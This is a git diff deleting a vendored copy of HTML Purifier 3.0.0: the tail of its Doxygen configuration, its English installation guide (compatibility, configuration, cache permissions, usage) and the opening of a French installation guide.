FILTER_PATTERNS is specified, this tag will be -# ignored. - -INPUT_FILTER = - -# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern -# basis. Doxygen will compare the file name with each pattern and apply the -# filter if there is a match. The filters are a list of the form: -# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further -# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER -# is applied to all files. - -FILTER_PATTERNS = - -# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using -# INPUT_FILTER) will be used to filter the input files when producing source -# files to browse (i.e. when SOURCE_BROWSER is set to YES). - -FILTER_SOURCE_FILES = NO - -#--------------------------------------------------------------------------- -# configuration options related to source browsing -#--------------------------------------------------------------------------- - -# If the SOURCE_BROWSER tag is set to YES then a list of source files will -# be generated. Documented entities will be cross-referenced with these sources. -# Note: To get rid of all source code in the generated output, make sure also -# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH -# then you must also enable this option. If you don't then doxygen will produce -# a warning and turn it on anyway - -SOURCE_BROWSER = YES - -# Setting the INLINE_SOURCES tag to YES will include the body -# of functions and classes directly in the documentation. - -INLINE_SOURCES = NO - -# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct -# doxygen to hide any special comment blocks from generated source code -# fragments. Normal C and C++ comments will always remain visible. - -STRIP_CODE_COMMENTS = YES - -# If the REFERENCED_BY_RELATION tag is set to YES (the default) -# then for each documented function all documented -# functions referencing it will be listed. - -REFERENCED_BY_RELATION = YES - -# If the REFERENCES_RELATION tag is set to YES (the default) -# then for each documented function all documented entities -# called/used by that function will be listed. - -REFERENCES_RELATION = YES - -# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) -# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from -# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will -# link to the source code. Otherwise they will link to the documentstion. - -REFERENCES_LINK_SOURCE = YES - -# If the USE_HTAGS tag is set to YES then the references to source code -# will point to the HTML generated by the htags(1) tool instead of doxygen -# built-in source browser. The htags tool is part of GNU's global source -# tagging system (see http://www.gnu.org/software/global/global.html). You -# will need version 4.8.6 or higher. - -USE_HTAGS = NO - -# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen -# will generate a verbatim copy of the header file for each class for -# which an include is specified. Set to NO to disable this. - -VERBATIM_HEADERS = YES - -#--------------------------------------------------------------------------- -# configuration options related to the alphabetical class index -#--------------------------------------------------------------------------- - -# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index -# of all compounds will be generated. Enable this if the project -# contains a lot of classes, structs, unions or interfaces. - -ALPHABETICAL_INDEX = NO - -# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then -# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns -# in which this list will be split (can be a number in the range [1..20]) - -COLS_IN_ALPHA_INDEX = 5 - -# In case all classes in a project start with a common prefix, all -# classes will be put under the same header in the alphabetical index. -# The IGNORE_PREFIX tag can be used to specify one or more prefixes that -# should be ignored while generating the index headers. - -IGNORE_PREFIX = - -#--------------------------------------------------------------------------- -# configuration options related to the HTML output -#--------------------------------------------------------------------------- - -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. - -GENERATE_HTML = YES - -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. - -HTML_OUTPUT = html - -# The HTML_FILE_EXTENSION tag can be used to specify the file extension for -# each generated HTML page (for example: .htm,.php,.asp). If it is left blank -# doxygen will generate files with .html extension. - -HTML_FILE_EXTENSION = .html - -# The HTML_HEADER tag can be used to specify a personal HTML header for -# each generated HTML page. If it is left blank doxygen will generate a -# standard header. - -HTML_HEADER = - -# The HTML_FOOTER tag can be used to specify a personal HTML footer for -# each generated HTML page. If it is left blank doxygen will generate a -# standard footer. - -HTML_FOOTER = - -# The HTML_STYLESHEET tag can be used to specify a user-defined cascading -# style sheet that is used by each HTML page. It can be used to -# fine-tune the look of the HTML output. If the tag is left blank doxygen -# will generate a default style sheet. Note that doxygen will try to copy -# the style sheet file to the HTML output directory, so don't put your own -# stylesheet in the HTML output directory as well, or it will be erased! - -HTML_STYLESHEET = - -# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, -# files or namespaces will be aligned in HTML using tables. If set to -# NO a bullet list will be used. - -HTML_ALIGN_MEMBERS = YES - -# If the GENERATE_HTMLHELP tag is set to YES, additional index files -# will be generated that can be used as input for tools like the -# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) -# of the generated HTML documentation. - -GENERATE_HTMLHELP = NO - -# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML -# documentation will contain sections that can be hidden and shown after the -# page has loaded. For this to work a browser that supports -# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox -# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). - -HTML_DYNAMIC_SECTIONS = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can -# be used to specify the file name of the resulting .chm file. You -# can add a path in front of the file if the result should not be -# written to the html output directory. - -CHM_FILE = - -# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can -# be used to specify the location (absolute path including file name) of -# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run -# the HTML help compiler on the generated index.hhp. - -HHC_LOCATION = - -# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag -# controls if a separate .chi index file is generated (YES) or that -# it should be included in the master .chm file (NO). - -GENERATE_CHI = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag -# controls whether a binary table of contents is generated (YES) or a -# normal table of contents (NO) in the .chm file. - -BINARY_TOC = NO - -# The TOC_EXPAND flag can be set to YES to add extra items for group members -# to the contents of the HTML help documentation and to the tree view. - -TOC_EXPAND = NO - -# The DISABLE_INDEX tag can be used to turn on/off the condensed index at -# top of each HTML page. The value NO (the default) enables the index and -# the value YES disables it. - -DISABLE_INDEX = NO - -# This tag can be used to set the number of enum values (range [1..20]) -# that doxygen will group on one line in the generated HTML documentation. - -ENUM_VALUES_PER_LINE = 4 - -# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be -# generated containing a tree-like index structure (just like the one that -# is generated for HTML Help). For this to work a browser that supports -# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, -# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are -# probably better off using the HTML help feature. - -GENERATE_TREEVIEW = YES - -# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be -# used to set the initial width (in pixels) of the frame in which the tree -# is shown. - -TREEVIEW_WIDTH = 250 - -#--------------------------------------------------------------------------- -# configuration options related to the LaTeX output -#--------------------------------------------------------------------------- - -# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will -# generate Latex output. - -GENERATE_LATEX = NO - -# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `latex' will be used as the default path. - -LATEX_OUTPUT = latex - -# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be -# invoked. If left blank `latex' will be used as the default command name. - -LATEX_CMD_NAME = latex - -# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to -# generate index for LaTeX. If left blank `makeindex' will be used as the -# default command name. - -MAKEINDEX_CMD_NAME = makeindex - -# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact -# LaTeX documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_LATEX = NO - -# The PAPER_TYPE tag can be used to set the paper type that is used -# by the printer. Possible values are: a4, a4wide, letter, legal and -# executive. If left blank a4wide will be used. - -PAPER_TYPE = a4wide - -# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX -# packages that should be included in the LaTeX output. - -EXTRA_PACKAGES = - -# The LATEX_HEADER tag can be used to specify a personal LaTeX header for -# the generated latex document. The header should contain everything until -# the first chapter. If it is left blank doxygen will generate a -# standard header. Notice: only use this tag if you know what you are doing! - -LATEX_HEADER = - -# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated -# is prepared for conversion to pdf (using ps2pdf). The pdf file will -# contain links (just like the HTML output) instead of page references -# This makes the output suitable for online browsing using a pdf viewer. - -PDF_HYPERLINKS = YES - -# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of -# plain latex in the generated Makefile. Set this option to YES to get a -# higher quality PDF documentation. - -USE_PDFLATEX = YES - -# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. -# command to the generated LaTeX files. This will instruct LaTeX to keep -# running if errors occur, instead of asking the user for help. -# This option is also used when generating formulas in HTML. - -LATEX_BATCHMODE = NO - -# If LATEX_HIDE_INDICES is set to YES then doxygen will not -# include the index chapters (such as File Index, Compound Index, etc.) -# in the output. - -LATEX_HIDE_INDICES = NO - -#--------------------------------------------------------------------------- -# configuration options related to the RTF output -#--------------------------------------------------------------------------- - -# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output -# The RTF output is optimized for Word 97 and may not look very pretty with -# other RTF readers or editors. - -GENERATE_RTF = NO - -# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `rtf' will be used as the default path. - -RTF_OUTPUT = rtf - -# If the COMPACT_RTF tag is set to YES Doxygen generates more compact -# RTF documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_RTF = NO - -# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated -# will contain hyperlink fields. The RTF file will -# contain links (just like the HTML output) instead of page references. -# This makes the output suitable for online browsing using WORD or other -# programs which support those fields. -# Note: wordpad (write) and others do not support links. - -RTF_HYPERLINKS = NO - -# Load stylesheet definitions from file. Syntax is similar to doxygen's -# config file, i.e. a series of assignments. You only have to provide -# replacements, missing definitions are set to their default value. - -RTF_STYLESHEET_FILE = - -# Set optional variables used in the generation of an rtf document. -# Syntax is similar to doxygen's config file. - -RTF_EXTENSIONS_FILE = - -#--------------------------------------------------------------------------- -# configuration options related to the man page output -#--------------------------------------------------------------------------- - -# If the GENERATE_MAN tag is set to YES (the default) Doxygen will -# generate man pages - -GENERATE_MAN = NO - -# The MAN_OUTPUT tag is used to specify where the man pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `man' will be used as the default path. - -MAN_OUTPUT = man - -# The MAN_EXTENSION tag determines the extension that is added to -# the generated man pages (default is the subroutine's section .3) - -MAN_EXTENSION = .3 - -# If the MAN_LINKS tag is set to YES and Doxygen generates man output, -# then it will generate one additional man file for each entity -# documented in the real man page(s). These additional files -# only source the real man page, but without them the man command -# would be unable to find the correct page. The default is NO. - -MAN_LINKS = NO - -#--------------------------------------------------------------------------- -# configuration options related to the XML output -#--------------------------------------------------------------------------- - -# If the GENERATE_XML tag is set to YES Doxygen will -# generate an XML file that captures the structure of -# the code including all documentation. - -GENERATE_XML = NO - -# The XML_OUTPUT tag is used to specify where the XML pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `xml' will be used as the default path. - -XML_OUTPUT = xml - -# The XML_SCHEMA tag can be used to specify an XML schema, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_SCHEMA = - -# The XML_DTD tag can be used to specify an XML DTD, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_DTD = - -# If the XML_PROGRAMLISTING tag is set to YES Doxygen will -# dump the program listings (including syntax highlighting -# and cross-referencing information) to the XML output. Note that -# enabling this will significantly increase the size of the XML output. - -XML_PROGRAMLISTING = YES - -#--------------------------------------------------------------------------- -# configuration options for the AutoGen Definitions output -#--------------------------------------------------------------------------- - -# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will -# generate an AutoGen Definitions (see autogen.sf.net) file -# that captures the structure of the code including all -# documentation. Note that this feature is still experimental -# and incomplete at the moment. - -GENERATE_AUTOGEN_DEF = NO - -#--------------------------------------------------------------------------- -# configuration options related to the Perl module output -#--------------------------------------------------------------------------- - -# If the GENERATE_PERLMOD tag is set to YES Doxygen will -# generate a Perl module file that captures the structure of -# the code including all documentation. Note that this -# feature is still experimental and incomplete at the -# moment. - -GENERATE_PERLMOD = NO - -# If the PERLMOD_LATEX tag is set to YES Doxygen will generate -# the necessary Makefile rules, Perl scripts and LaTeX code to be able -# to generate PDF and DVI output from the Perl module output. - -PERLMOD_LATEX = NO - -# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be -# nicely formatted so it can be parsed by a human reader. This is useful -# if you want to understand what is going on. On the other hand, if this -# tag is set to NO the size of the Perl module output will be much smaller -# and Perl will parse it just the same. - -PERLMOD_PRETTY = YES - -# The names of the make variables in the generated doxyrules.make file -# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. -# This is useful so different doxyrules.make files included by the same -# Makefile don't overwrite each other's variables. - -PERLMOD_MAKEVAR_PREFIX = - -#--------------------------------------------------------------------------- -# Configuration options related to the preprocessor -#--------------------------------------------------------------------------- - -# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will -# evaluate all C-preprocessor directives found in the sources and include -# files. - -ENABLE_PREPROCESSING = YES - -# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro -# names in the source code. If set to NO (the default) only conditional -# compilation will be performed. Macro expansion can be done in a controlled -# way by setting EXPAND_ONLY_PREDEF to YES. - -MACRO_EXPANSION = NO - -# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES -# then the macro expansion is limited to the macros specified with the -# PREDEFINED and EXPAND_AS_DEFINED tags. - -EXPAND_ONLY_PREDEF = NO - -# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files -# in the INCLUDE_PATH (see below) will be search if a #include is found. - -SEARCH_INCLUDES = YES - -# The INCLUDE_PATH tag can be used to specify one or more directories that -# contain include files that are not input files but should be processed by -# the preprocessor. - -INCLUDE_PATH = - -# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard -# patterns (like *.h and *.hpp) to filter out the header-files in the -# directories. If left blank, the patterns specified with FILE_PATTERNS will -# be used. - -INCLUDE_FILE_PATTERNS = - -# The PREDEFINED tag can be used to specify one or more macro names that -# are defined before the preprocessor is started (similar to the -D option of -# gcc). The argument of the tag is a list of macros of the form: name -# or name=definition (no spaces). If the definition and the = are -# omitted =1 is assumed. To prevent a macro definition from being -# undefined via #undef or recursively expanded use the := operator -# instead of the = operator. - -PREDEFINED = - -# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then -# this tag can be used to specify a list of macro names that should be expanded. -# The macro definition that is found in the sources will be used. -# Use the PREDEFINED tag if you want to use a different macro definition. - -EXPAND_AS_DEFINED = - -# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then -# doxygen's preprocessor will remove all function-like macros that are alone -# on a line, have an all uppercase name, and do not end with a semicolon. Such -# function macros are typically used for boiler-plate code, and will confuse -# the parser if not removed. - -SKIP_FUNCTION_MACROS = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to external references -#--------------------------------------------------------------------------- - -# The TAGFILES option can be used to specify one or more tagfiles. -# Optionally an initial location of the external documentation -# can be added for each tagfile. The format of a tag file without -# this location is as follows: -# TAGFILES = file1 file2 ... -# Adding location for the tag files is done as follows: -# TAGFILES = file1=loc1 "file2 = loc2" ... -# where "loc1" and "loc2" can be relative or absolute paths or -# URLs. If a location is present for each tag, the installdox tool -# does not have to be run to correct the links. -# Note that each tag file must have a unique name -# (where the name does NOT include the path) -# If a tag file is not located in the directory in which doxygen -# is run, you must also specify the path to the tagfile here. - -TAGFILES = - -# When a file name is specified after GENERATE_TAGFILE, doxygen will create -# a tag file that is based on the input files it reads. - -GENERATE_TAGFILE = - -# If the ALLEXTERNALS tag is set to YES all external classes will be listed -# in the class index. If set to NO only the inherited external classes -# will be listed. - -ALLEXTERNALS = NO - -# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed -# in the modules index. If set to NO, only the current project's groups will -# be listed. - -EXTERNAL_GROUPS = YES - -# The PERL_PATH should be the absolute path and name of the perl script -# interpreter (i.e. the result of `which perl'). - -PERL_PATH = /usr/bin/perl - -#--------------------------------------------------------------------------- -# Configuration options related to the dot tool -#--------------------------------------------------------------------------- - -# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will -# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base -# or super classes. Setting the tag to NO turns the diagrams off. Note that -# this option is superseded by the HAVE_DOT option below. This is only a -# fallback. It is recommended to install and use dot, since it yields more -# powerful graphs. - -CLASS_DIAGRAMS = YES - -# You can define message sequence charts within doxygen comments using the \msc -# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to -# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to -# specify the directory where the mscgen tool resides. If left empty the tool is assumed to -# be found in the default search path. - -MSCGEN_PATH = - -# If set to YES, the inheritance and collaboration graphs will hide -# inheritance and usage relations if the target is undocumented -# or is not a class. - -HIDE_UNDOC_RELATIONS = YES - -# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is -# available from the path. This tool is part of Graphviz, a graph visualization -# toolkit from AT&T and Lucent Bell Labs. The other options in this section -# have no effect if this option is set to NO (the default) - -HAVE_DOT = NO - -# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect inheritance relations. Setting this tag to YES will force the -# the CLASS_DIAGRAMS tag to NO. - -CLASS_GRAPH = YES - -# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect implementation dependencies (inheritance, containment, and -# class references variables) of the class with other documented classes. - -COLLABORATION_GRAPH = YES - -# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for groups, showing the direct groups dependencies - -GROUP_GRAPHS = YES - -# If the UML_LOOK tag is set to YES doxygen will generate inheritance and -# collaboration diagrams in a style similar to the OMG's Unified Modeling -# Language. - -UML_LOOK = NO - -# If set to YES, the inheritance and collaboration graphs will show the -# relations between templates and their instances. - -TEMPLATE_RELATIONS = NO - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT -# tags are set to YES then doxygen will generate a graph for each documented -# file showing the direct and indirect include dependencies of the file with -# other documented files. - -INCLUDE_GRAPH = YES - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and -# HAVE_DOT tags are set to YES then doxygen will generate a graph for each -# documented header file showing the documented files that directly or -# indirectly include this file. - -INCLUDED_BY_GRAPH = YES - -# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a call dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable call graphs for selected -# functions only using the \callgraph command. - -CALL_GRAPH = NO - -# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a caller dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable caller graphs for selected -# functions only using the \callergraph command. - -CALLER_GRAPH = NO - -# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen -# will graphical hierarchy of all classes instead of a textual one. - -GRAPHICAL_HIERARCHY = YES - -# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES -# then doxygen will show the dependencies a directory has on other directories -# in a graphical way. The dependency relations are determined by the #include -# relations between the files in the directories. - -DIRECTORY_GRAPH = YES - -# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images -# generated by dot. Possible values are png, jpg, or gif -# If left blank png will be used. - -DOT_IMAGE_FORMAT = png - -# The tag DOT_PATH can be used to specify the path where the dot tool can be -# found. If left blank, it is assumed the dot tool can be found in the path. - -DOT_PATH = - -# The DOTFILE_DIRS tag can be used to specify one or more directories that -# contain dot files that are included in the documentation (see the -# \dotfile command). - -DOTFILE_DIRS = - -# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of -# nodes that will be shown in the graph. If the number of nodes in a graph -# becomes larger than this value, doxygen will truncate the graph, which is -# visualized by representing a node as a red box. Note that doxygen if the number -# of direct children of the root node in a graph is already larger than -# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note -# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. - -DOT_GRAPH_MAX_NODES = 50 - -# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the -# graphs generated by dot. A depth value of 3 means that only nodes reachable -# from the root by following a path via at most 3 edges will be shown. Nodes -# that lay further from the root node will be omitted. Note that setting this -# option to 1 or 2 may greatly reduce the computation time needed for large -# code bases. Also note that the size of a graph can be further restricted by -# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. - -MAX_DOT_GRAPH_DEPTH = 1000 - -# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent -# background. This is disabled by default, which results in a white background. -# Warning: Depending on the platform used, enabling this option may lead to -# badly anti-aliased labels on the edges of a graph (i.e. they become hard to -# read). - -DOT_TRANSPARENT = NO - -# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output -# files in one run (i.e. multiple -o and -T options on the command line). This -# makes dot run faster, but since only newer versions of dot (>1.8.10) -# support this, this feature is disabled by default. - -DOT_MULTI_TARGETS = NO - -# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will -# generate a legend page explaining the meaning of the various boxes and -# arrows in the dot generated graphs. - -GENERATE_LEGEND = YES - -# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will -# remove the intermediate dot files that are used to generate -# the various graphs. - -DOT_CLEANUP = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to the search engine -#--------------------------------------------------------------------------- - -# The SEARCHENGINE tag specifies whether or not a search engine should be -# used. If set to NO the values of all tags below this one will be ignored. - -SEARCHENGINE = NO diff --git a/lib/htmlpurifier-3.0.0/INSTALL b/lib/htmlpurifier-3.0.0/INSTALL deleted file mode 100644 index 4e8e4d8..0000000 --- a/lib/htmlpurifier-3.0.0/INSTALL +++ /dev/null @@ -1,256 +0,0 @@ - -Install - How to install HTML Purifier - -HTML Purifier is designed to run out of the box, so actually using the -library is extremely easy. (Although... if you were looking for a -step-by-step installation GUI, you've downloaded the wrong software!) - -While the impatient can get going immediately with some of the sample -code at the bottom of this library, it's well worth performing some -basic sanity checks to get the most out of this library. - - ---------------------------------------------------------------------------- -1. Compatibility - -HTML Purifier is PHP 5 only, and is actively tested from PHP 5.0.0 and -up (see tests/multitest.php for the specific versions that are being -actively tested). It has no core dependencies with other libraries. PHP -4 support was deprecated on December 31, 2007 with HTML Purifier 3.0.0. -Essential security fixes will be issued for the 2.1.x branch until -August 8, 2008. - -These optional extensions can enhance the capabilities of HTML Purifier: - - * iconv : Converts text to and from non-UTF-8 encodings - * tidy : Used for pretty-printing HTML - - ---------------------------------------------------------------------------- -2. Reconnaissance - -A big plus of HTML Purifier is its inerrant support of standards, so -your web-pages should be standards-compliant. (They should also use -semantic markup, but that's another issue altogether, one HTML Purifier -cannot fix without reading your mind.) - -HTML Purifier can process these doctypes: - -* XHTML 1.0 Transitional (default) -* XHTML 1.0 Strict -* HTML 4.01 Transitional -* HTML 4.01 Strict -* XHTML 1.1 - -...and these character encodings: - -* UTF-8 (default) -* Any encoding iconv supports (with crippled internationalization support) - -These defaults reflect what my choices where be if I were authoring an -HTML document, however, what you choose depends on the nature of your -codebase. If you don't know what doctype you are using, you can determine -the doctype from this identifier at the top of your source code: - - - -...and the character encoding from this code: - - - -If the character encoding declaration is missing, STOP NOW, and -read 'docs/enduser-utf8.html' (web accessible at -http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is -present, read this document anyway, as most websites specify character -encoding incorrectly. - - ---------------------------------------------------------------------------- -3. Including the library - -The procedure is quite simple: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -I recommend only including HTML Purifier when you need it, because that -call represents the inclusion of a lot of PHP files which constitute -the bulk of HTML Purifier's memory usage. - -If you don't like your include_path to be fiddled around with, simply set -HTML Purifier's library/ directory to the include path yourself and then: - - require_once 'HTMLPurifier.php'; - -Only the contents in the library/ folder are necessary, so you can remove -everything else when using HTML Purifier in a production environment. - - ---------------------------------------------------------------------------- -4. Configuration - -HTML Purifier is designed to run out-of-the-box, but occasionally HTML -Purifier needs to be told what to do. If you answered no to any of these -questions, read on, otherwise, you can skip to the next section (or, if you're -into configuring things just for the heck of it, skip to 4.3). - -* Am I using UTF-8? -* Am I using XHTML 1.0 Transitional? - -If you answered no to any of these questions, instantiate a configuration -object and read on: - - $config = HTMLPurifier_Config::createDefault(); - - -4.1. Setting a different character encoding - -You really shouldn't use any other encoding except UTF-8, especially if you -plan to support multilingual websites (read section three for more details). -However, switching to UTF-8 is not always immediately feasible, so we can -adapt. - -HTML Purifier uses iconv to support other character encodings, as such, -any encoding that iconv supports -HTML Purifier supports with this code: - - $config->set('Core', 'Encoding', /* put your encoding here */); - -An example usage for Latin-1 websites (the most common encoding for English -websites): - - $config->set('Core', 'Encoding', 'ISO-8859-1'); - -Note that HTML Purifier's support for non-Unicode encodings is crippled by the -fact that any character not supported by that encoding will be silently -dropped, EVEN if it is ampersand escaped. If you want to work around -this, you are welcome to read docs/enduser-utf8.html for a fix, -but please be cognizant of the issues the "solution" creates (for this -reason, I do not include the solution in this document). - - -4.2. Setting a different doctype - -For those of you using HTML 4.01 Transitional, you can disable -XHTML output like this: - - $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); - -Other supported doctypes include: - - * HTML 4.01 Strict - * HTML 4.01 Transitional - * XHTML 1.0 Strict - * XHTML 1.0 Transitional - * XHTML 1.1 - - -4.3. Other settings - -There are more configuration directives which can be read about -here: They're a bit boring, -but they can help out for those of you who like to exert maximum control over -your code. Some of the more interesting ones are configurable at the -demo and are well worth looking into -for your own system. - -For example, you can fine tune allowed elements and attributes, convert -relative URLs to absolute ones, and even autoparagraph input text! These -are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and -%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention -translates to: - - $config->set('Namespace', 'Directive', $value); - -E.g. - - $config->set('HTML', 'Allowed', 'p,b,a[href],i'); - $config->set('URI', 'Base', 'http://www.example.com'); - $config->set('URI', 'MakeAbsolute', true); - $config->set('AutoFormat', 'AutoParagraph', true); - - ---------------------------------------------------------------------------- -5. Caching - -HTML Purifier generates some cache files (generally one or two) to speed up -its execution. For maximum performance, make sure that -library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver. - -If you are in the library/ folder of HTML Purifier, you can set the -appropriate permissions using: - - chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer - -If the above command doesn't work, you may need to assign write permissions -to all. This may be necessary if your webserver runs as nobody, but is -not recommended since it means any other user can write files in the -directory. Use: - - chmod -R 0777 HTMLPurifier/DefinitionCache/Serializer - -You can also chmod files via your FTP client; this option -is usually accessible by right clicking the corresponding directory and -then selecting "chmod" or "file permissions". - -Starting with 2.0.1, HTML Purifier will generate friendly error messages -that will tell you exactly what you have to chmod the directory to, if in doubt, -follow its advice. - -If you are unable or unwilling to give write permissions to the cache -directory, you can either disable the cache (and suffer a performance -hit): - - $config->set('Core', 'DefinitionCache', null); - -Or move the cache directory somewhere else (no trailing slash): - - $config->set('Cache', 'SerializerPath', '/home/user/absolute/path'); - - ---------------------------------------------------------------------------- -6. Using the code - -The interface is mind-numbingly simple: - - $purifier = new HTMLPurifier(); - $clean_html = $purifier->purify( $dirty_html ); - -...or, if you're using the configuration object: - - $purifier = new HTMLPurifier($config); - $clean_html = $purifier->purify( $dirty_html ); - -That's it! For more examples, check out docs/examples/ (they aren't very -different though). Also, docs/enduser-slow.html gives advice on what to -do if HTML Purifier is slowing down your application. - - ---------------------------------------------------------------------------- -7. Quick install - -First, make sure library/HTMLPurifier/DefinitionCache/Serializer is -writable by the webserver (see Section 5: Caching above for details). -If your website is in UTF-8 and XHTML Transitional, use this code: - -purify($dirty_html); -?> - -If your website is in a different encoding or doctype, use this code: - -set('Core', 'Encoding', 'ISO-8859-1'); // replace with your encoding - $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // replace with your doctype - $purifier = new HTMLPurifier($config); - - $clean_html = $purifier->purify($dirty_html); -?> - diff --git a/lib/htmlpurifier-3.0.0/INSTALL.fr.utf8 b/lib/htmlpurifier-3.0.0/INSTALL.fr.utf8 deleted file mode 100644 index a6bdb6d..0000000 --- a/lib/htmlpurifier-3.0.0/INSTALL.fr.utf8 +++ /dev/null @@ -1,71 +0,0 @@ - -Installation - Comment installer HTML Purifier - -Attention: Ce document a encode en UTF-8. Si les lettres avec les accents -est essoreuse, prenez un mieux editeur de texte. - -À L'Aide: Je ne suis pas un diseur natif de français. Si vous trouvez une -erreur dans ce document, racontez-moi! Merci. - - -L'installation de HTML Purifier est trés simple, parce qu'il ne doit pas -la configuration. Dans le pied de de document, les utilisateurs -impatient peuvent trouver le code, mais je recommande que vous lisez -ce document pour quelques choses. - - -1. Compatibilité - -HTML Purifier fonctionne dans PHP 5. PHP 5.0.0 est le dernier -version que je le testais. Il ne dépend de les autre librairies. - -Les extensions optionnel est iconv (en général déjà installer) et -tidy (répandu aussi). Si vous utilisez UTF-8 et ne voulez pas -l'indentation, vous pouvez utiliser HTML Purifier sans ces extensions. - - -2. Inclure la librarie - -Utilisez: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -...quand vous devez utiliser HTML 